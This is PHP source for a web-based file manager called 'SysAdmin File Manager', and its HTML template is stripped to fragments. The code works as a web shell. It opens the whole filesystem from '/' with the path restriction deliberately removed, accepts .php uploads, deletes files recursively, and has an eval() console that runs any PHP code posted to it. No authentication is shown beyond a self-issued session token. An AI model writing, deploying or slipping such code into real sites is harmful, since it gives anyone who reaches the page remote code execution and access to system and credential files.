"SysAdmin File Manager",
'session_duration' => 3600 * 24 * 7,
'debug_mode' => false,
// Set to '/' for full root access, or null to limit to current script directory
'root_dir' => '/',
'allowed_extensions' => array('txt', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 'jpg', 'jpeg', 'png', 'gif', 'php', 'html', 'zip', 'json', 'xml', 'css', 'js', 'sql', 'log', 'ini'),
'max_upload_size' => 100 * 1024 * 1024 // 100MB
);
// --- Initialization ---
@set_time_limit(0);
define('DS', DIRECTORY_SEPARATOR);
// Session Setup
if (session_status() === PHP_SESSION_NONE) {
session_set_cookie_params([
'lifetime' => $config['session_duration'],
'path' => '/',
'secure' => isset($_SERVER['HTTPS']),
'httponly' => true,
'samesite' => 'Strict'
]);
session_start();
}
// Security Token
if (empty($_SESSION['security_token'])) {
$_SESSION['security_token'] = bin2hex(random_bytes(32));
}
$security_token = $_SESSION['security_token'];
// --- Helper Functions ---
function clean_input($data) {
if (is_array($data)) return array_map('clean_input', $data);
return htmlspecialchars(stripslashes($data), ENT_QUOTES, 'UTF-8');
}
$_GET = clean_input($_GET);
$_POST = clean_input($_POST);
// Error Reporting
if ($config['debug_mode']) {
error_reporting(E_ALL);
ini_set('display_errors', '1');
} else {
error_reporting(0);
ini_set('display_errors', '0');
}
function verify_token($token) {
return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token);
}
function format_size($size) {
if ($size <= 0) return '0 B';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$base = log($size, 1024);
return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)];
}
function get_perms($file) {
if (!file_exists($file)) return '---------';
$perms = fileperms($file);
$info = '';
switch ($perms & 0xF000) {
case 0xC000: $info = 's'; break;
case 0xA000: $info = 'l'; break;
case 0x8000: $info = '-'; break;
case 0x6000: $info = 'b'; break;
case 0x4000: $info = 'd'; break;
default: $info = 'u';
}
// Owner
$info .= (($perms & 00400) ? 'r' : '-');
$info .= (($perms & 00200) ? 'w' : '-');
$info .= (($perms & 00100) ? 'x' : '-');
// Group
$info .= (($perms & 00040) ? 'r' : '-');
$info .= (($perms & 00020) ? 'w' : '-');
$info .= (($perms & 00010) ? 'x' : '-');
// World
$info .= (($perms & 00004) ? 'r' : '-');
$info .= (($perms & 00002) ? 'w' : '-');
$info .= (($perms & 00001) ? 'x' : '-');
return $info;
}
function get_owner_name($file) {
if (function_exists('posix_getpwuid')) {
$owner = @posix_getpwuid(fileowner($file));
$group = @posix_getgrgid(filegroup($file));
return ($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A');
}
return 'N/A';
}
function delete_directory($dir) {
if (!file_exists($dir)) return true;
if (!is_dir($dir)) return @unlink($dir);
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') continue;
if (!delete_directory($dir . DS . $item)) return false;
}
return @rmdir($dir);
}
// --- Core Logic ---
$self = basename($_SERVER['PHP_SELF']);
$message = '';
$message_type = 'info';
// Determine base start
$script_dir = __DIR__;
if ($config['root_dir']) {
// Use configured root, resolve to realpath if exists
$base_start = realpath($config['root_dir']);
if ($base_start === false) $base_start = DS; // Fallback to system root if path invalid
} else {
$base_start = $script_dir;
}
// Default current dir
$current_dir = $base_start;
// Restore session directory if valid
if (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) {
$current_dir = $_SESSION['current_dir'];
}
// Resolve real path
$current_dir_real = realpath($current_dir);
// If path invalid, fallback to base start
if ($current_dir_real === false) {
$current_dir_real = $base_start;
}
// --- REMOVED RESTRICTION: We no longer force current_dir to stay inside base_start ---
// This allows navigating to /etc, /var, etc.
// Security Note: Ensure PHP user permissions are correctly set on the server.
// --- Handle POST (Actions) ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!verify_token($_POST['security_token'] ?? '')) {
$message = "Invalid Security Token.";
$message_type = 'error';
} else {
// UPLOAD
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
$file_info = pathinfo($_FILES['upload_file']['name']);
$ext = strtolower($file_info['extension'] ?? '');
if (in_array($ext, $config['allowed_extensions']) || empty($config['allowed_extensions'])) {
$dest = $current_dir_real . DS . basename($_FILES['upload_file']['name']);
if (!is_writable($current_dir_real)) {
@chmod($current_dir_real, 0755);
}
if (is_writable($current_dir_real)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $dest)) {
$message = "File uploaded successfully.";
$message_type = 'success';
@chmod($dest, 0644);
} else {
$message = "Failed to move file. Check PHP temporary directory permissions.";
$message_type = 'error';
}
} else {
$owner = get_owner_name($current_dir_real);
$process_user = function_exists('get_current_user') ? get_current_user() : 'PHP User';
$message = "Permission Denied. Folder owned by '$owner', but PHP running as '$process_user'.";
$message_type = 'error';
}
} else {
$message = "Extension '$ext' not allowed.";
$message_type = 'error';
}
}
// CREATE DIR
if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) {
$dir_name = basename($_POST['mkdir']);
$new_path = $current_dir_real . DS . $dir_name;
if (!file_exists($new_path)) {
if (!is_writable($current_dir_real)) @chmod($current_dir_real, 0755);
if (@mkdir($new_path, 0755)) {
$message = "Folder created.";
$message_type = 'success';
} else {
$message = "Failed to create folder (Permission denied).";
$message_type = 'error';
}
} else {
$message = "Folder already exists.";
$message_type = 'error';
}
}
// RENAME
if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
$old_path = $current_dir_real . DS . basename($_POST['rename_from']);
$new_path = $current_dir_real . DS . basename($_POST['rename_to']);
if (file_exists($old_path)) {
if (@rename($old_path, $new_path)) {
$message = "Renamed successfully.";
$message_type = 'success';
} else {
$message = "Rename failed (Permission denied).";
$message_type = 'error';
}
} else {
$message = "Source not found.";
$message_type = 'error';
}
}
// PHP CONSOLE
if (isset($_POST['php_code']) && !empty($_POST['php_code'])) {
ob_start();
try {
eval($_POST['php_code']);
$cmd_output = ob_get_clean();
} catch (Throwable $e) {
$cmd_output = "Error: " . $e->getMessage();
}
}
}
}
// --- Handle GET (Navigation & Delete) ---
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
// Navigation
if (isset($_GET['cd'])) {
$requested = $_GET['cd'];
$target_real = realpath($requested);
// Check if valid dir, but DO NOT restrict to base_start
if ($target_real && is_dir($target_real)) {
$current_dir = $target_real;
$current_dir_real = $target_real;
$_SESSION['current_dir'] = $current_dir;
} else {
$message = "Directory not found or inaccessible.";
$message_type = 'error';
}
}
// DELETE
if (isset($_GET['delete']) && isset($_GET['confirm_token'])) {
if (verify_token($_GET['confirm_token'])) {
$target_name = basename($_GET['delete']);
$target_path = $current_dir_real . DS . $target_name;
$target_real = realpath($target_path);
if ($target_real && file_exists($target_real)) {
if (is_dir($target_real)) {
if (delete_directory($target_real)) {
$message = "Directory deleted.";
$message_type = 'success';
} else {
$message = "Failed to delete directory (Permission denied).";
$message_type = 'error';
}
} else {
if (@unlink($target_real)) {
$message = "File deleted.";
$message_type = 'success';
} else {
$message = "Failed to delete file (Permission denied).";
$message_type = 'error';
}
}
} else {
$message = "Invalid path.";
$message_type = 'error';
}
} else {
$message = "Invalid token.";
$message_type = 'error';
}
}
// VIEW FILE
if (isset($_GET['view'])) {
$file = basename($_GET['view']);
$path = $current_dir_real . DS . $file;
$real_path = realpath($path);
if ($real_path && is_file($real_path)) {
$content = @file_get_contents($real_path);
if ($content === false) {
$view_content = "Cannot read file (Permission denied).";
} else {
if (preg_match('~[^\x20-\x7E\t\r\n]~', $content)) {
$view_content = "Binary file or non-UTF-8 content.";
$mime = @mime_content_type($real_path);
if ($mime && strpos($mime, 'image/') === 0) {
$view_content = "
";
}
} else {
$view_content = "
" . htmlspecialchars($content) . "
";
}
}
} else {
$view_content = "File not accessible.";
}
}
}
// --- Breadcrumb Generation ---
function create_breadcrumbs($path) {
global $self, $security_token;
$parts = explode(DS, $path);
$build = '';
$html = '';
return $html;
}
$parent_dir = dirname($current_dir_real);
// Always allow going up unless we are at the root
$has_parent = ($parent_dir !== $current_dir_real);
?>
| Name |
Size |
Perms / Owner |
Modified |
Actions |
Cannot read directory (Permission Denied). | ";
} else {
$dirs = [];
$items = [];
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
$path = $current_dir_real . DS . $f;
if (is_dir($path)) $dirs[$f] = $path;
else $items[$f] = $path;
}
ksort($dirs);
ksort($items);
$all_files = $dirs + $items;
foreach ($all_files as $name => $path) {
$is_dir = is_dir($path);
$icon = $is_dir ? '📁' : '📄';
$size = $is_dir ? '-' : format_size(@filesize($path));
$perms = get_perms($path);
$owner = get_owner_name($path);
$time = date('Y-m-d H:i', @filemtime($path));
$link_url = $is_dir ? '?cd='.urlencode($path).'&security_token='.$security_token : '?view='.urlencode($name);
$safe_name = htmlspecialchars($name);
$safe_name_js = addslashes($name);
?>
|
|
|
|
|
View
Rename
Delete
|
Folder is empty | ";
}
}
?>
Confirm Delete
Are you sure you want to delete ?